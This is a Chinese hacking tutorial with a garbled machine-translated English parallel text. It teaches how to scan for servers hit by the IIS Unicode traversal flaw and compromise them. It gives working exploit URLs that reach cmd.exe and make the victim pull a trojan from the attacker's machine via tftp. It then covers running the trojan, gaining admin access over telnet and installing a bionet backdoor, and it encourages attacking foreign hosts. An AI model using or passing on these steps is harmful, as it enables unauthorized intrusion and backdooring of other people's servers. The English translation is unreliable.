The use of unicode types of Trojan horse that experience vulnerability

马木 Mamou

必备装备：代理猎手v3.1可是最新版， unicode漏洞扫描器 ，ncx99木马，tftpd32一个ftp服务器软件，（下载地址：http://www.cners.com/tools/unicode.zip），bionet木马（这个不用我告诉你哪里下了吧）。 Necessary equipment: Proxy Hunter v3.1 but the latest version, Unicode vulnerability scanner , ncx99 Trojans, tftpd32 an ftp server software (Download: http://www.cners.com/tools/unicode.zip), bionet Trojan (I do not tell you where the next point).

好了，可以开始工作了。 OK, you can start working. 。 . 。 . 。 . 。 .
1、用代理猎手扫80端口，我为什么不用supperscan呢？ 1, 80 ports with Proxy Hunter sweep, why do not supperscan it? 后面自由分晓。 Freedom remains to be seen behind. 扫到后保存一下列表，只要端口和类型即可。 Scan to look after the preservation list, as long as the port and type can be.

2、打开刚才的列表，去掉后面的“：80”只保留前面的ip地址就可以了，用word替换功能，别忘了保存为txt文件哦。 2, open just a list, remove the trailing ": 80," leaving only the front of the ip address on it, replace with the word function, do not forget to save as txt file Oh. 知道为什么不用supperscan了吧，它后面的东西太多了，没办法用替换功能，手动删半天。 Why not supperscan know it, too many things behind it, no way to use the Replace function to manually delete half a day.

3、打开unicode漏洞扫描器，加入刚才处理过的ip列表，开始扫吧，哇！ 3, open the unicode vulnerability scanner, adding just treated ip list, start sweeping it, wow! ！ ! ！ ! 好多漏洞啊，这就是中国的网络。 A lot of loopholes ah, this is China's network. 用ie浏览一下扫到后的ip，找一个主页是微软example的肉鸡，嘿嘿，风险小啊。 Ie look with a sweep to the rear of the ip, find a home example is Microsoft's chicken, hey, little risk ah. 我找了个61.***.***.***，不是我不想玩阿扁，我只有169的权利，又没有好用socks5代理，哎。 I found a 61 .***.***.***, I did not want to play Chen, I only have 169 right, but not easy to use socks5 proxy, hey. 。 . 。 . 。 . 。 .

4、运行你的tftp32，你的机器就变成了一个小的ftp服务器了。 4, run your tftp32, your machine becomes a small ftp server.

5、打开ie，输入http://61.***.***.***/scr!pts/..%c1%9c../winnt/system32/cmd.exe? /c+tftp -i 10.***.***.*** GET ncx99.exe c:\\inetpub\\scr!pts\\tel.exe注意其中的61.***.***.***就是你刚才扫到的地址，％c1%9c就是你刚才扫的漏洞了，10.***.***.***就是你自己的ip了，上传ncx99木马，用来打开肉鸡的99端口，可以用telnet连接。 5, open ie, input http://61 .***.***.***/ scr! Pts / ..% c1% 9c../winnt/system32/cmd.exe? / C + tftp - i 10 .***.***.*** GET ncx99.exe c: \ \ inetpub \ \ scr! pts \ \ tel.exe attention is one of the 61 .***.***.*** You just sweep to the address,% c1% 9c that you just sweep the loopholes, and 10 .***.***.*** is your own ip, and upload ncx99 Trojans, open the broiler for 99 port, you can use telnet to connect.

6、用http://61.***.***.***/scr!pts/..%c1%9c../winnt/system32/cmd.exe?/c+c:\inetpub\scr!pts\tel.exe远程打开这个ncx99木马。 6, with http://61 .***.***.***/ scr! Pts / ..% c1% 9c../winnt/system32/cmd.exe? / C + c: \ inetpub \ scr! pts \ tel.exe remote to open the ncx99 Trojan.

7、然后你就可以telnet 61.***.***.*** 99，哈哈～～～你是admin了，爽！ 7, then you can telnet 61 .***.***.*** 99, ha ha ~ ~ ~ you are admin, and cool! ！ ! ！ ! 然后打开你的d盘的完全共享，并把配置好的bionet服务端放到根目录里，回到telnet，cd inetpub\scr!pts\ Then open your d drive full share, and the server configured bionet into the root directory, back to telnet, cd inetpub \ scr! Pts \
copy \\10.***.***.***\d\server.exe copy \ \ 10 .***.***.*** \ d \ server.exe
然后是漫长的等待。 Then the long wait. 。 . 。 . 。 . 。 .
copy server.exe winnt\system\ copy server.exe winnt \ system \
server.exe server.exe

用bioney连接，种木马成功，^_^ Connect with bioney, seed Trojans success ^ _ ^

注意： Note:
1、之所以不用tftp上传木马是因为它的很容易掉线，传300k的大文件更是如此。 1, the reason for not tftp upload Trojan is dropped because it is very easy, especially large files pass 300k.

2、之所以要将server.exe copy到system里运行是因为在scr!pts目录里权限不够，不能运行。 2, the reason you want to run server.exe copy to the system because scr! Pts directory access is not enough, you can not run.

3、之所以要选bionet是因为它对winnt，win2000的支持比较好，当然你也可以上传冰河。 3, the reason is because it choose bionet winnt, win2000 support better, of course, you can upload ice.

4、当然你也可以用unicode漏洞扫描器的内置命令。 4, of course, you can use unicode vulnerability scanner built-in command.


后言： After the words:
163的用户最好玩阿扁或者鬼子，国内的漏洞可以来练练手，但别黑他们，不然。 163 user-bian or the most fun devils, domestic vulnerabilities can come practice your hand, but they do not black, not. 。 . 。 . 。 . 。 . 。 . 。 . 。 .

相关文章： Related Articles: UNICODE漏洞 UNICODE vulnerability
深入UNICODE编码漏洞 UNICODE coding vulnerabilities in depth
一步一步教您用unicode漏洞入侵网站 Step by step to teach you to use unicode exploits Website